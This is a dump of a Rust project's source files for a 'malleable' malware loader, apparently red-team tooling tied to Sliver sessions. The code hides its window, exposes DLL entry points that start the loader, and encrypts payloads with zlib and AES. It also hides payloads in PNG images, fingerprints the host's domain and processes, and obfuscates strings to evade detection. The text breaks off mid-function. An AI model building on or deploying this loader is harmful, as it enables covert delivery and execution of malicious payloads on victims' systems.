├── banner.png ├── doc └── sliver_session.png ├── src ├── bin │ ├── loader.rs │ ├── server_dataop.rs │ ├── initloadermasterkey.rs │ ├── initmasterkey.rs │ ├── sign.rs │ ├── encrypt_payload_zlib.rs │ └── conf.rs ├── lsb_text_png_steganography_mod │ ├── revealer │ │ └── mod.rs │ ├── bit_helpers │ │ └── mod.rs │ └── hider │ │ └── mod.rs ├── lib.rs ├── loader │ ├── dll.rs │ └── main.rs ├── link_util.rs ├── payload_util.rs ├── lsb_text_png_steganography_mod.rs ├── python_embedder.rs ├── create_config.rs ├── defuse.rs ├── dataoperation.rs ├── poollink.rs ├── payload.rs ├── config.rs └── link.rs ├── .gitignore ├── overlord.c ├── banner.txt ├── Cargo.toml ├── winrust.py └── README.md /banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Brother-x86/malleable-rust-loader/HEAD/banner.png -------------------------------------------------------------------------------- /doc/sliver_session.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Brother-x86/malleable-rust-loader/HEAD/doc/sliver_session.png -------------------------------------------------------------------------------- /src/bin/loader.rs: -------------------------------------------------------------------------------- 1 | #![cfg_attr( 2 | not(any(feature = "debug", feature = "info")), 3 | windows_subsystem = "windows" 4 | )] 5 | 6 | #[cfg(feature = "loader")] 7 | use malleable_rust_loader::run_loader; 8 | 9 | fn main() { 10 | #[cfg(feature = "loader")] 11 | run_loader(); 12 | } 13 | -------------------------------------------------------------------------------- /src/lsb_text_png_steganography_mod/revealer/mod.rs: -------------------------------------------------------------------------------- 1 | pub fn get_number_of_bytes_in_message(four_bytes: &[u8]) -> u32 { 2 | (((*four_bytes)[0] as u32) << 24) 3 | + (((*four_bytes)[1] as u32) << 16) 4 | + (((*four_bytes)[2] as u32) << 8) 5 | + (((*four_bytes)[3] as u32) << 0) 6 | } 7 | -------------------------------------------------------------------------------- /src/bin/server_dataop.rs: -------------------------------------------------------------------------------- 1 | use malleable_rust_loader::dataoperation::DataOperation; 2 | 3 | use std::fs; 4 | 5 | fn main() { 6 | let dataop = vec![ 7 | DataOperation::BASE64, 8 | DataOperation::ZLIB, 9 | DataOperation::BASE64, 10 | ]; 11 | fs::write( 12 | concat!(env!("HOME"), "/.malleable/config/server.dataop"), 13 | serde_json::to_string(&dataop).unwrap(), 14 | ) 15 | .expect("yolo"); 16 | } 17 | -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | pub mod config; 2 | pub mod create_config; 3 | pub mod dataoperation; 4 | pub mod defuse; 5 | pub mod link; 6 | pub mod link_util; 7 | pub mod lsb_text_png_steganography_mod; 8 | pub mod payload; 9 | pub mod payload_util; 10 | pub mod poollink; 11 | pub mod python_embedder; 12 | 13 | #[cfg(feature = "loader")] 14 | pub mod loader { 15 | pub mod main; 16 | 17 | #[cfg(feature = "dll")] 18 | pub mod dll; 19 | } 20 | 21 | #[cfg(feature = "loader")] 22 | pub use loader::main::run_loader; 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | debug/ 4 | target/ 5 | config/ 6 | ollvm/ 7 | 8 | src/bin/conf3.rs 9 | 10 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 11 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 12 | Cargo.lock* 13 | 14 | # These are backup files generated by rustfmt 15 | **/*.rs.bk 16 | 17 | # i used this file to deploy my stuff 18 | deploy_config.sh 19 | deploy_payload.sh -------------------------------------------------------------------------------- /src/lsb_text_png_steganography_mod/bit_helpers/mod.rs: -------------------------------------------------------------------------------- 1 | pub fn change_last_bit(input: u8, bit_value: bool) -> u8 { 2 | if bit_value { 3 | input | 1_u8 4 | } else { 5 | input & !1_u8 6 | } 7 | } 8 | 9 | pub fn get_bit_at(input: u8, n: u8) -> bool { 10 | if n < 8 { 11 | input & (1 << n) != 0 12 | } else { 13 | false 14 | } 15 | } 16 | 17 | pub fn transform_u32_to_array_of_u8(x: u32) -> [u8; 4] { 18 | let b1: u8 = ((x >> 24) & 0xff) as u8; 19 | let b2: u8 = ((x >> 16) & 0xff) as u8; 20 | let b3: u8 = ((x >> 8) & 0xff) as u8; 21 | let b4: u8 = (x & 0xff) as u8; 22 | return [b1, b2, b3, b4]; 23 | } 24 | -------------------------------------------------------------------------------- /src/loader/dll.rs: -------------------------------------------------------------------------------- 1 | use crate::run_loader; 2 | 3 | // this is all entrypoint of the DLL, you should modified this to feet your need (its not OPSEC actually) 4 | 5 | #[no_mangle] 6 | pub extern "system" fn Kaboum() { 7 | run_loader(); 8 | } 9 | #[no_mangle] 10 | pub extern "system" fn Overlord() { 11 | run_loader(); 12 | } 13 | #[no_mangle] 14 | pub extern "system" fn ShadowLink() { 15 | run_loader(); 16 | } 17 | #[no_mangle] 18 | pub extern "system" fn Void() { 19 | run_loader(); 20 | } 21 | #[no_mangle] 22 | pub extern "system" fn MicroTech() { 23 | run_loader(); 24 | } 25 | #[no_mangle] 26 | pub extern "system" fn MiliTech() { 27 | run_loader(); 28 | } 29 | 30 | -------------------------------------------------------------------------------- /src/lsb_text_png_steganography_mod/hider/mod.rs: -------------------------------------------------------------------------------- 1 | pub fn is_payload_too_large(payload_length: u32, image_x_max: u32, image_y_max: u32) -> bool { 2 | // TODO: This need to take into account the header 3 | let pixels = image_x_max * image_y_max; 4 | let pixels_to_hold_a_byte = 3_u32; 5 | 6 | ((payload_length + 4) * pixels_to_hold_a_byte) > pixels 7 | } 8 | 9 | #[cfg(test)] 10 | mod tests { 11 | use super::*; 12 | 13 | #[test] 14 | fn tiny_payload_case() { 15 | assert!(!is_payload_too_large(1, 3, 5)) 16 | } 17 | 18 | #[test] 19 | fn tiny_payload_case_fail() { 20 | assert!(is_payload_too_large(2, 3, 5)) 21 | } 22 | 23 | #[test] 24 | fn perfect_payload() { 25 | assert!(!is_payload_too_large(100, 3, 104)) 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /overlord.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // Déclare un type de fonction correspondant à `Overlord` 5 | typedef void (__stdcall *OverlordFunc)(void); 6 | 7 | int main() { 8 | HMODULE dll_handle = LoadLibrary("malleable_rust_loader.dll"); 9 | if (!dll_handle) { 10 | printf("Failed to load DLL\n"); 11 | return 1; 12 | } 13 | 14 | // Obtenez l'adresse de la fonction 'Overlord' 15 | OverlordFunc Overlord = (OverlordFunc)GetProcAddress(dll_handle, "Overlord"); 16 | if (!Overlord) { 17 | printf("Failed to find 'Overlord' in DLL\n"); 18 | FreeLibrary(dll_handle); 19 | return 1; 20 | } 21 | 22 | // Appelez la fonction 23 | printf("Calling 'Overlord'...\n"); 24 | Overlord(); 25 | printf("'Overlord' was called successfully.\n"); 26 | 27 | FreeLibrary(dll_handle); 28 | return 0; 29 | } 30 | -------------------------------------------------------------------------------- /src/bin/initloadermasterkey.rs: -------------------------------------------------------------------------------- 1 | use ring::{rand, signature}; 2 | use std::fs; 3 | 4 | extern crate env_logger; 5 | use log::info; 6 | 7 | //#[allow(dead_code)] 8 | fn initialize_master_keypair(path_file: &str) { 9 | let rng = rand::SystemRandom::new(); 10 | let pkcs8_bytes = signature::Ed25519KeyPair::generate_pkcs8(&rng).unwrap(); 11 | info!("pkcs8_bytes = {:?}", pkcs8_bytes.as_ref()); 12 | fs::write(path_file, pkcs8_bytes.as_ref()).expect("Unable to write file"); 13 | // Normally the application would store the PKCS#8 file persistently. Later 14 | // it would read the PKCS#8 file from persistent storage to use it. 15 | let key_pair = signature::Ed25519KeyPair::from_pkcs8(pkcs8_bytes.as_ref()).unwrap(); 16 | info!("key_pair = {:?}", key_pair); 17 | } 18 | 19 | fn main() { 20 | let keypair_path: &str = concat!(env!("HOME"), "/.malleable/config/ed25519.u8"); 21 | 22 | env_logger::init(); 23 | // TODO create the directory 24 | initialize_master_keypair(keypair_path); 25 | } 26 | -------------------------------------------------------------------------------- /banner.txt: -------------------------------------------------------------------------------- 1 | ╓╖ 2 | , ▒╗, ▒▒▒▒╖ ╓▒▒ 3 | Malleable ░░▒▒▒╖▒▒▒▒╣╣╖▒▒▒┐ 4 | ┬─┐┬ ┬┌─┐┌┬┐ ▒▒@▒╓▒░░░░░░▒▒▒▒▒▒▒▒▒╢▓╖╓╓╖H┐ 5 | ├┬┘│ │└─┐ │ ▒░░░░▒``▒░░░░░▒▒▒▒▒▒╢▒╢╢▒▒░` 6 | ┴└─└─┘└─┘ ┴ ,╓╓╓╥ ░░░░░░░▒▒▒▒▒▒▒▒▒╢╢ 7 | LOADER ` ▒` ░░░░▒▒▒▒▒▒▒╢╢▒╣▒ÑH╗ 8 | ,▄ ░░░▒▒▒▒▒▒▒╢▒▒▒╢▒▒▒╜ 9 | ╓╖ ╓ ██ ░▓``██▒▒▒▒▒▒▒╢▒╢╣╣ 10 | │ █████▌ ░▐█,▄███▒▒░░▒▒▒▒╢╢╢@╖ 11 | ╙▒ └███▀ └█████▌Ñ░░░▒▒▒▒╢╢╣▒▒░╣ 12 | .¿ ▄▄▄▄▄▄░"▀▀ `░░░▒▒╫╣╢╢╢╢╣╣╓▒▒ 13 | :`` ,, ╙████▀ , ░╫╬Ñ╜▒▒▒▒▒╣╢╫@▒╙▓╖ 14 | ,░ ▒╢╫╢╢▓▒╜H ░ ╨╨╜╙╙░ '▒▒╢▒▒▒╢▒╣▓▒▓▓╖ 15 | ▒ ░ ▒╙╢╢╢╢▓, ` ░▒▒╢▒▒▒╢▒▓░╙╢N 16 | └╜▒▒@@ '░▒╢╣╢╢╣@, ╓░▒ ▒░▒▒╢▒▒╣▒╢╣ ╙╙▒ 17 | ╙ ▒░▒╢╢╣╢▓╢╗ ▒╙░░▒╢▒╢╜╨╢▒ 18 | ╙▒░▒╢▒╣╣╣╨ ░ ` ░▒░║╣╢╜ ` 19 | "╨▒╜╢╢Ñ ░▒╜ 20 | `` -------------------------------------------------------------------------------- /src/bin/initmasterkey.rs: -------------------------------------------------------------------------------- 1 | use ring::{rand, signature}; 2 | use std::fs; 3 | 4 | extern crate env_logger; 5 | use log::info; 6 | 7 | //#[allow(dead_code)] 8 | fn initialize_master_keypair(path_file: &str) { 9 | let rng = rand::SystemRandom::new(); 10 | let pkcs8_bytes = signature::Ed25519KeyPair::generate_pkcs8(&rng).unwrap(); 11 | info!("pkcs8_bytes = {:?}", pkcs8_bytes.as_ref()); 12 | fs::write(path_file, pkcs8_bytes.as_ref()).expect("Unable to write file"); 13 | // Normally the application would store the PKCS#8 file persistently. Later 14 | // it would read the PKCS#8 file from persistent storage to use it. 15 | let key_pair = signature::Ed25519KeyPair::from_pkcs8(pkcs8_bytes.as_ref()).unwrap(); 16 | info!("key_pair = {:?}", key_pair); 17 | } 18 | 19 | fn main() { 20 | let malleable_working_dir: &str = concat!(env!("HOME"), "/.malleable"); 21 | let keypair_path: &str = concat!(env!("HOME"), "/.malleable/ed25519.u8"); 22 | let payload_dir: &str = concat!(env!("HOME"), "/.malleable/payload"); 23 | let config_dir: &str = concat!(env!("HOME"), "/.malleable/config"); 24 | 25 | env_logger::init(); 26 | // TODO create the directory 27 | fs::create_dir_all(malleable_working_dir).unwrap(); 28 | initialize_master_keypair(keypair_path); 29 | fs::create_dir_all(payload_dir).unwrap(); 30 | fs::create_dir_all(config_dir).unwrap(); 31 | } 32 | -------------------------------------------------------------------------------- /src/bin/sign.rs: -------------------------------------------------------------------------------- 1 | use malleable_rust_loader::{config::Config, create_config::initialize_all_configs}; 2 | 3 | use argparse::{ArgumentParser, Store}; 4 | use std::env; 5 | 6 | extern crate env_logger; 7 | use log::info; 8 | 9 | fn main() { 10 | env_logger::init(); 11 | 12 | let mut keypair = concat!(env!("HOME"), "/.malleable/ed25519.u8").to_string(); 13 | let mut config_file_to_sign: String = 14 | concat!(env!("HOME"), "/.malleable/config/initial.json").to_string(); 15 | 16 | { 17 | // this block limits scope of borrows by ap.refer() method 18 | let mut ap = ArgumentParser::new(); 19 | ap.set_description("sign a configuration with Ed25519 elliptic curbs. by Brother🔥"); 20 | 21 | ap.refer(&mut config_file_to_sign).add_argument( 22 | "config", 23 | Store, 24 | "config to sign, default: ~/.malleable/config/initial.json", 25 | ); 26 | ap.refer(&mut keypair).add_option(&["--keypair"], Store,"path of your private ed25519 key pair to sign configuration, default: ~/.malleable/ed25519.u8)"); 27 | 28 | ap.parse_args_or_exit(); 29 | } 30 | 31 | info!("[+] Signing Loader from file: {config_file_to_sign} "); 32 | let mut config = Config::new_fromfile(&config_file_to_sign); 33 | let key_pair = Config::fromfile_master_keypair(keypair.as_str()); 34 | config.sign_loader(&key_pair); 35 | info!("[+] Write sign_bytes to: {config_file_to_sign}"); 36 | config.serialize_to_file_pretty(&config_file_to_sign); 37 | info!("[+] Done!"); 38 | initialize_all_configs(config, config_file_to_sign.to_string()); 39 | } 40 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "malleable-rust-loader" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | 7 | [dependencies] 8 | #reqwest = { version = "0.12.5", features = ["blocking","json"] } 9 | serde = { version = "1.0", features = ["derive"] } 10 | serde_json = "1.0" 11 | chksum-sha2-512 = "0.0.0" 12 | ring = "0.17.8" 13 | rand = "0.8.5" 14 | libloading = "0.8.5" 15 | zip-extract = "0.1.3" 16 | hex = "0.4.3" 17 | base64 = "0.22.1" 18 | anyhow = "1.0.86" 19 | rot13 = "0.1.1" 20 | regex = "1.10.6" 21 | gethostname = "0.5.0" 22 | log = "0.4.22" 23 | env_logger = "0.10.2" 24 | cryptify = "3.1.1" 25 | argparse = "0.2.2" 26 | #pin-project-lite = "=0.2.14" 27 | #image = "0.20" 28 | image = "0.21" 29 | chrono = { version = "0.4.38", features = ["serde"]} 30 | shellexpand = "3.1.0" 31 | whoami = "1.5.2" 32 | flate2 = "1.0.35" 33 | zerofrom = "=0.1.4" 34 | litemap = "=0.7.3" 35 | yoke = "=0.7.4" 36 | # todo tester le 0.31 37 | sysinfo = "=0.30.0" 38 | aes-gcm-siv = "0.11.1" 39 | attohttpc = "0.28.2" 40 | 41 | [dependencies.uuid] 42 | version = "1.11.0" 43 | features = [ 44 | "v4", # Lets you generate random UUIDs 45 | "fast-rng" # Use a faster (but still sufficiently random) RNG 46 | ] 47 | 48 | 49 | [target.'cfg(windows)'.dependencies] 50 | memorymodule-rs = "0.0.3" 51 | obfstr = "0.4.3" 52 | windows-sys = { version = "0.45.0" , features = [ 53 | "Win32_Foundation", 54 | "Win32_Security", 55 | "Win32_System_Threading", 56 | "Win32_UI_WindowsAndMessaging", 57 | "Win32_System_Memory", 58 | "Win32_System_Diagnostics_Debug", 59 | "Win32_System_SystemServices", 60 | "Win32_System_WindowsProgramming", 61 | "Win32_System_LibraryLoader", 62 | "Win32_NetworkManagement_IpHelper", 63 | "Win32_Networking_WinSock", 64 | "Win32_System_SystemInformation", 65 | "Win32_System_Environment", 66 | "Win32_System_ProcessStatus", 67 | "Win32_Globalization", 68 | "Win32_System_Diagnostics_ToolHelp", 69 | "Win32_System_Kernel", 70 | "Win32_System_Pipes", 71 | "Win32_Storage_FileSystem", 72 | "Win32_System_IO", 73 | "Win32_Networking_ActiveDirectory", 74 | ]} 75 | #windows = { version = "0.54.0", features = [ 76 | # "Win32_UI_WindowsAndMessaging", 77 | #] } 78 | 79 | 80 | [profile.release] 81 | strip = true 82 | opt-level = "z" 83 | lto = true 84 | codegen-units = 1 85 | panic = "abort" 86 | debug = false 87 | 88 | [features] 89 | loader = [] 90 | dll = [] 91 | ollvm = [] 92 | debug = [] 93 | info = [] 94 | mem1 = [] 95 | mem2 = [] 96 | mem3 = [] 97 | mem4 = [] 98 | 99 | 100 | [lib] 101 | name = "malleable_rust_loader" 102 | crate-type = ["rlib", "cdylib"] -------------------------------------------------------------------------------- /src/bin/encrypt_payload_zlib.rs: -------------------------------------------------------------------------------- 1 | use malleable_rust_loader::dataoperation::apply_all_dataoperations; 2 | use malleable_rust_loader::dataoperation::AesMaterial; 3 | use malleable_rust_loader::dataoperation::DataOperation; 4 | use malleable_rust_loader::dataoperation::SHA256; 5 | 6 | use argparse::{ArgumentParser, Store}; 7 | use chksum_sha2_512 as sha2_512; 8 | use std::fs; 9 | 10 | extern crate env_logger; 11 | use log::debug; 12 | use log::info; 13 | 14 | fn bytes_to_megabytes(bytes: u64) -> f64 { 15 | const BYTES_IN_GIGABYTE: u64 = 1024 * 1024; // 1 GB en octets 16 | bytes as f64 / BYTES_IN_GIGABYTE as f64 17 | } 18 | 19 | fn main() { 20 | env_logger::builder() 21 | .filter_level(log::LevelFilter::Debug) 22 | .init(); 23 | 24 | let mut payload: String = "".to_string(); 25 | 26 | { 27 | // this block limits scope of borrows by ap.refer() method 28 | let mut ap = ArgumentParser::new(); 29 | ap.set_description("encrypt payload with AES, store encrypted payload in a .aes file and the decrypt key in .dataop"); 30 | 31 | ap.refer(&mut payload) 32 | .add_argument("payload", Store, "payload to encrypt"); 33 | 34 | ap.parse_args_or_exit(); 35 | } 36 | 37 | let aes_mat: AesMaterial = AesMaterial::generate_aes_material(); 38 | 39 | let output_dataop: String = format!("{}{}", payload, ".dataop").to_string(); 40 | let output_payload: String = format!("{}{}", payload, ".aes").to_string(); 41 | 42 | info!("[+] Payload open {}", payload.as_str()); 43 | let mut data: Vec = fs::read(payload.as_str()).unwrap(); 44 | 45 | let payload_size = fs::metadata(payload.as_str()).unwrap().len(); 46 | debug!(" - size {:.2}Mo", bytes_to_megabytes(payload_size)); 47 | 48 | let digest: chksum_sha2_512::Digest = sha2_512::chksum(data.clone()).unwrap(); 49 | let digest_lowercase: String = digest.to_hex_lowercase(); 50 | 51 | let mut dataoperations: Vec = vec![ 52 | DataOperation::ZLIB, 53 | DataOperation::AES(aes_mat), 54 | DataOperation::ZLIB, 55 | DataOperation::SHA256(SHA256 { 56 | hash: digest_lowercase, 57 | }), 58 | ]; 59 | 60 | info!( 61 | "[+] Apply dataoperation in reverse order {:?}", 62 | &dataoperations 63 | ); 64 | data = apply_all_dataoperations(&mut dataoperations, data).unwrap(); 65 | 66 | dataoperations.reverse(); 67 | fs::write( 68 | output_dataop.as_str(), 69 | serde_json::to_string(&dataoperations).unwrap(), 70 | ) 71 | .expect("Unable to write file"); 72 | info!("[+] DataOperation save to file {}", output_dataop.as_str()); 73 | 74 | fs::write(output_payload.as_str(), &data).expect("Unable to write file"); 75 | info!("[+] Payload save to file {}", output_payload.as_str()); 76 | 77 | let payload_final_size = fs::metadata(output_payload.as_str()).unwrap().len(); 78 | debug!(" - size {:.2}Mo", bytes_to_megabytes(payload_final_size)); 79 | } 80 | -------------------------------------------------------------------------------- /src/link_util.rs: -------------------------------------------------------------------------------- 1 | use std::env; 2 | use std::process; 3 | use sysinfo::{Pid, System}; 4 | 5 | pub fn working_dir() -> String { 6 | match env::current_dir() { 7 | Ok(path) => path.display().to_string(), 8 | Err(_) => "".to_string(), 9 | } 10 | } 11 | pub fn cmdline() -> String { 12 | let args: Vec = env::args().collect(); 13 | args.join(" ") 14 | } 15 | 16 | #[cfg(target_os = "linux")] 17 | pub fn get_domain_name() -> String { 18 | "".to_string() 19 | } 20 | 21 | #[cfg(target_os = "windows")] 22 | use windows_sys::Win32::{ 23 | Foundation::ERROR_SUCCESS, 24 | Networking::ActiveDirectory::{DsGetDcNameA, DOMAIN_CONTROLLER_INFOA}, 25 | }; 26 | 27 | #[cfg(target_os = "windows")] 28 | pub fn get_domain_name() -> String { 29 | let mut domain_controller_info: *mut DOMAIN_CONTROLLER_INFOA = std::ptr::null_mut(); 30 | let status = unsafe { 31 | DsGetDcNameA( 32 | std::ptr::null(), 33 | std::ptr::null(), 34 | std::ptr::null(), 35 | std::ptr::null(), 36 | 0, 37 | &mut domain_controller_info, 38 | ) 39 | }; 40 | 41 | if status != ERROR_SUCCESS { 42 | return "".to_string(); 43 | } 44 | 45 | let domain_name = unsafe { (*domain_controller_info).DomainName }; 46 | let domain_name_str = unsafe { 47 | std::ffi::CStr::from_ptr(domain_name as _) 48 | .to_str() 49 | .unwrap() 50 | .to_string() 51 | }; 52 | domain_name_str 53 | } 54 | 55 | pub fn process_name_and_parent(sys: &System) -> (String, String, u32) { 56 | let process_name: String; 57 | let parent_name: String; 58 | let ppid: u32; 59 | if let Some(p) = sys.process(Pid::from_u32(process::id())) { 60 | process_name = p.name().to_string(); 61 | if let Some(pp) = p.parent() { 62 | if let Some(pparent) = sys.process(pp) { 63 | parent_name = pparent.name().to_string(); 64 | ppid = pp.as_u32(); 65 | } else { 66 | parent_name = "".to_string(); 67 | ppid = 0; 68 | } 69 | } else { 70 | parent_name = "".to_string(); 71 | ppid = 0; 72 | } 73 | } else { 74 | process_name = "".to_string(); 75 | parent_name = "".to_string(); 76 | ppid = 0; 77 | }; 78 | (process_name, parent_name, ppid) 79 | } 80 | 81 | pub fn process_path() -> String { 82 | let process_path: String = match env::current_exe() { 83 | Ok(ppp) => ppp.to_string_lossy().to_string(), 84 | Err(_) => "".to_string(), 85 | }; 86 | process_path 87 | } 88 | 89 | /* 90 | */ 91 | 92 | pub fn bytes_to_gigabytes(bytes: u64) -> f64 { 93 | const BYTES_IN_GIGABYTE: u64 = 1024 * 1024 * 1024; // 1 GB en octets 94 | bytes as f64 / BYTES_IN_GIGABYTE as f64 95 | } 96 | 97 | pub fn bytes_to_gigabytes_string(bytes: u64) -> String { 98 | format!("{:.2} Go", bytes_to_gigabytes(bytes)) 99 | } 100 | -------------------------------------------------------------------------------- /src/payload_util.rs: -------------------------------------------------------------------------------- 1 | use crate::payload::Payload; 2 | 3 | use anyhow::Result; 4 | use chksum_sha2_512 as sha2_512; 5 | use shellexpand; 6 | use std::fs; 7 | use std::fs::create_dir_all; 8 | use std::fs::File; 9 | use std::io::prelude::*; 10 | #[cfg(target_os = "linux")] 11 | use std::os::unix::fs::PermissionsExt; 12 | use std::path::Path; 13 | use std::path::PathBuf; 14 | use std::thread; 15 | 16 | use cryptify::encrypt_string; 17 | use log::error; 18 | use log::info; 19 | 20 | pub fn calculate_path(path_with_env: &String) -> Result { 21 | let expanded = shellexpand::env(path_with_env)?; // Expands %APPDATA% or any other environment variable 22 | let path: &Path = Path::new(&*expanded); // Convert to a Path 23 | Ok(path.to_owned()) 24 | } 25 | 26 | pub fn create_diretory(path: &PathBuf) -> Result<(), anyhow::Error> { 27 | match path.parent() { 28 | Some(parent_dir) => { 29 | if fs::metadata(parent_dir).is_ok() == false { 30 | info!( 31 | "{}{:?}", 32 | encrypt_string!("[+] path not exist, create: "), 33 | parent_dir 34 | ); 35 | create_dir_all(parent_dir)?; 36 | } 37 | } 38 | None => error!( 39 | "{}{:?}", 40 | encrypt_string!("error, impossible to retreive parent path: "), 41 | path 42 | ), 43 | }; 44 | Ok(()) 45 | } 46 | 47 | #[cfg(target_os = "linux")] 48 | pub fn set_permission(data_write_path: &PathBuf) { 49 | if cfg!(target_os = "linux") { 50 | info!("{}{:?}", encrypt_string!("setpermision: "), data_write_path); 51 | std::fs::set_permissions(data_write_path, std::fs::Permissions::from_mode(0o777)).unwrap(); 52 | }; 53 | } 54 | 55 | //#[cfg(target_os = "windows")] 56 | //pub fn set_permission(_data_write_path: &String) {} 57 | 58 | pub fn same_hash_sha512(hash: &String, path: &PathBuf) -> bool { 59 | if *hash == "".to_string() { 60 | return false; 61 | } 62 | 63 | let mut f = match File::open(path) { 64 | Ok(f) => f, 65 | Err(_) => return false, 66 | }; 67 | let mut buffer: Vec = Vec::new(); 68 | 69 | // read the whole file 70 | match f.read_to_end(&mut buffer) { 71 | Ok(_) => (), 72 | Err(_) => return false, 73 | }; 74 | let digest = sha2_512::chksum(buffer).unwrap(); 75 | 76 | digest.to_hex_lowercase() == *hash 77 | } 78 | 79 | pub fn print_running_thread(running_thread: &mut Vec<(thread::JoinHandle<()>, Payload)>) { 80 | if running_thread.len() != 0 { 81 | info!( 82 | "{}{}", 83 | encrypt_string!("[+] RUNNING thread "), 84 | running_thread.len() 85 | ); 86 | for i in running_thread { 87 | info!("{}{:?}", encrypt_string!("-thread: "), i.1); 88 | } 89 | } else { 90 | info!("{}", encrypt_string!("[+] no RUNNING thread")); 91 | }; 92 | } 93 | 94 | pub fn fail_linux_message(message: String) { 95 | error!( 96 | "{}{}", 97 | encrypt_string!("Its linux, impossible to run the payload: "), 98 | message 99 | ); 100 | } 101 | -------------------------------------------------------------------------------- /src/lsb_text_png_steganography_mod.rs: -------------------------------------------------------------------------------- 1 | extern crate anyhow; 2 | extern crate image; 3 | use anyhow::Result; 4 | 5 | pub use image::{GenericImageView, ImageBuffer}; 6 | use std::str; 7 | 8 | //mod file_helpers; 9 | mod bit_helpers; 10 | mod hider; 11 | mod revealer; 12 | use bit_helpers::{change_last_bit, get_bit_at, transform_u32_to_array_of_u8}; 13 | 14 | pub fn hide_mod<'a>( 15 | payload: Vec, 16 | carrier_path: &'a str, 17 | ) -> ImageBuffer, Vec> { 18 | //let payload = file_helpers::get_file_string(payload_path); 19 | let payload_bytes = &payload; 20 | let carrier = image::open(carrier_path).unwrap(); 21 | 22 | let (carrier_x_limit, carrier_y_limit) = carrier.dimensions(); 23 | 24 | let number_of_bytes_in_payload = payload_bytes.len() as u32; 25 | if hider::is_payload_too_large(number_of_bytes_in_payload, carrier_x_limit, carrier_y_limit) { 26 | panic!("Payload is too large for the carrier image"); 27 | }; 28 | 29 | let mut vec: Vec = Vec::with_capacity((number_of_bytes_in_payload + 4) as usize); 30 | vec.extend_from_slice(&transform_u32_to_array_of_u8(number_of_bytes_in_payload)); 31 | vec.extend_from_slice(payload_bytes); 32 | 33 | let mut byte_cursor = 8; 34 | let mut bytes_to_hide = vec.iter(); 35 | 36 | let mut img: image::RgbImage = ImageBuffer::new(carrier_x_limit, carrier_y_limit); 37 | 38 | let mut pixel_seen_count = 0; 39 | let mut current_byte = *bytes_to_hide.next().unwrap(); 40 | 41 | for (x, y, pixel) in img.enumerate_pixels_mut() { 42 | let carrier_pixel = carrier.get_pixel(x, y); 43 | pixel_seen_count = pixel_seen_count + 1; 44 | 45 | if pixel_seen_count <= (vec.len() * 3) { 46 | if byte_cursor > 7 { 47 | byte_cursor = 0; 48 | }; 49 | 50 | *pixel = image::Rgb([ 51 | change_last_bit(carrier_pixel.data[0], get_bit_at(current_byte, byte_cursor)), 52 | change_last_bit( 53 | carrier_pixel.data[1], 54 | get_bit_at(current_byte, byte_cursor + 1), 55 | ), 56 | change_last_bit( 57 | carrier_pixel.data[2], 58 | get_bit_at(current_byte, byte_cursor + 2), 59 | ), 60 | ]); 61 | byte_cursor = byte_cursor + 3; 62 | 63 | if pixel_seen_count % 3 == 0 && pixel_seen_count != (vec.len() * 3) { 64 | current_byte = *bytes_to_hide.next().unwrap(); 65 | } 66 | } else { 67 | *pixel = image::Rgb([ 68 | carrier_pixel.data[0], 69 | carrier_pixel.data[1], 70 | carrier_pixel.data[2], 71 | ]); 72 | } 73 | } 74 | 75 | img 76 | } 77 | 78 | pub fn reveal_mod(image_data: Vec) -> Result, anyhow::Error> { 79 | // Just wrote but this needs a refactor! 80 | 81 | //let carrier: image::DynamicImage = image::open(carrier_path).unwrap(); 82 | //let carrier_fromvecu8 = image::DynamicImage:load_from_memory_with_format(buf, format) 83 | //let image_data: Vec = include_bytes!("/home/user/steg2/lsb_text_png_steganography/output_rust.png").to_vec(); 84 | let carrier = image::load_from_memory(&image_data)?; 85 | 86 | let (carrier_x_limit, carrier_y_limit) = carrier.dimensions(); 87 | 88 | let message_header_length = 4; 89 | 90 | let mut byte_cursor = 0; 91 | let mut byte = 0b0000_0000; 92 | let mut vec: Vec = Vec::new(); 93 | 94 | let mut byte_counter = 0; 95 | let mut bytes_in_message: u32 = 5; 96 | 97 | 'outer: for y in 0..carrier_y_limit { 98 | for x in 0..carrier_x_limit { 99 | let carrier_pixel = carrier.get_pixel(x, y); 100 | for i in 0..3 { 101 | if byte_counter == bytes_in_message + message_header_length { 102 | break 'outer; 103 | } 104 | if byte_cursor < 8 { 105 | byte |= (get_bit_at(carrier_pixel.data[i], 0) as u8) << byte_cursor; 106 | byte_cursor = byte_cursor + 1; 107 | } else { 108 | vec.push(byte); 109 | byte_counter = byte_counter + 1; 110 | if byte_counter == message_header_length { 111 | bytes_in_message = revealer::get_number_of_bytes_in_message(vec.as_slice()); 112 | }; 113 | byte = 0b0000_0000; 114 | byte_cursor = 0; 115 | } 116 | } 117 | } 118 | } 119 | Ok(vec[4..].to_vec()) 120 | //String::from(str::from_utf8(&vec[4..]).unwrap()) 121 | } 122 | -------------------------------------------------------------------------------- /src/python_embedder.rs: -------------------------------------------------------------------------------- 1 | #[cfg(target_os = "windows")] 2 | use cryptify::encrypt_string; 3 | #[cfg(target_os = "windows")] 4 | use log::debug; 5 | #[cfg(target_os = "windows")] 6 | use log::error; 7 | #[cfg(target_os = "windows")] 8 | use log::info; 9 | #[cfg(target_os = "windows")] 10 | use log::warn; 11 | #[cfg(target_os = "windows")] 12 | use std::ffi::CString; 13 | #[cfg(target_os = "windows")] 14 | use std::path::PathBuf; 15 | 16 | #[cfg(target_os = "windows")] 17 | fn load_dll_from_file(dll_path: &str) -> Result { 18 | debug!("{}", dll_path); 19 | // Load the DLL 20 | unsafe { 21 | let lib = libloading::Library::new(dll_path).map_err(|e| { 22 | format!( 23 | "{}{}{}{}", 24 | encrypt_string!("Failed to load DLL: "), 25 | e, 26 | encrypt_string!(" ,dll_path: "), 27 | dll_path 28 | ) 29 | })?; 30 | 31 | Ok(lib) 32 | } 33 | } 34 | 35 | // https://github.com/naksyn/Embedder/ 36 | #[cfg(target_os = "windows")] 37 | pub fn 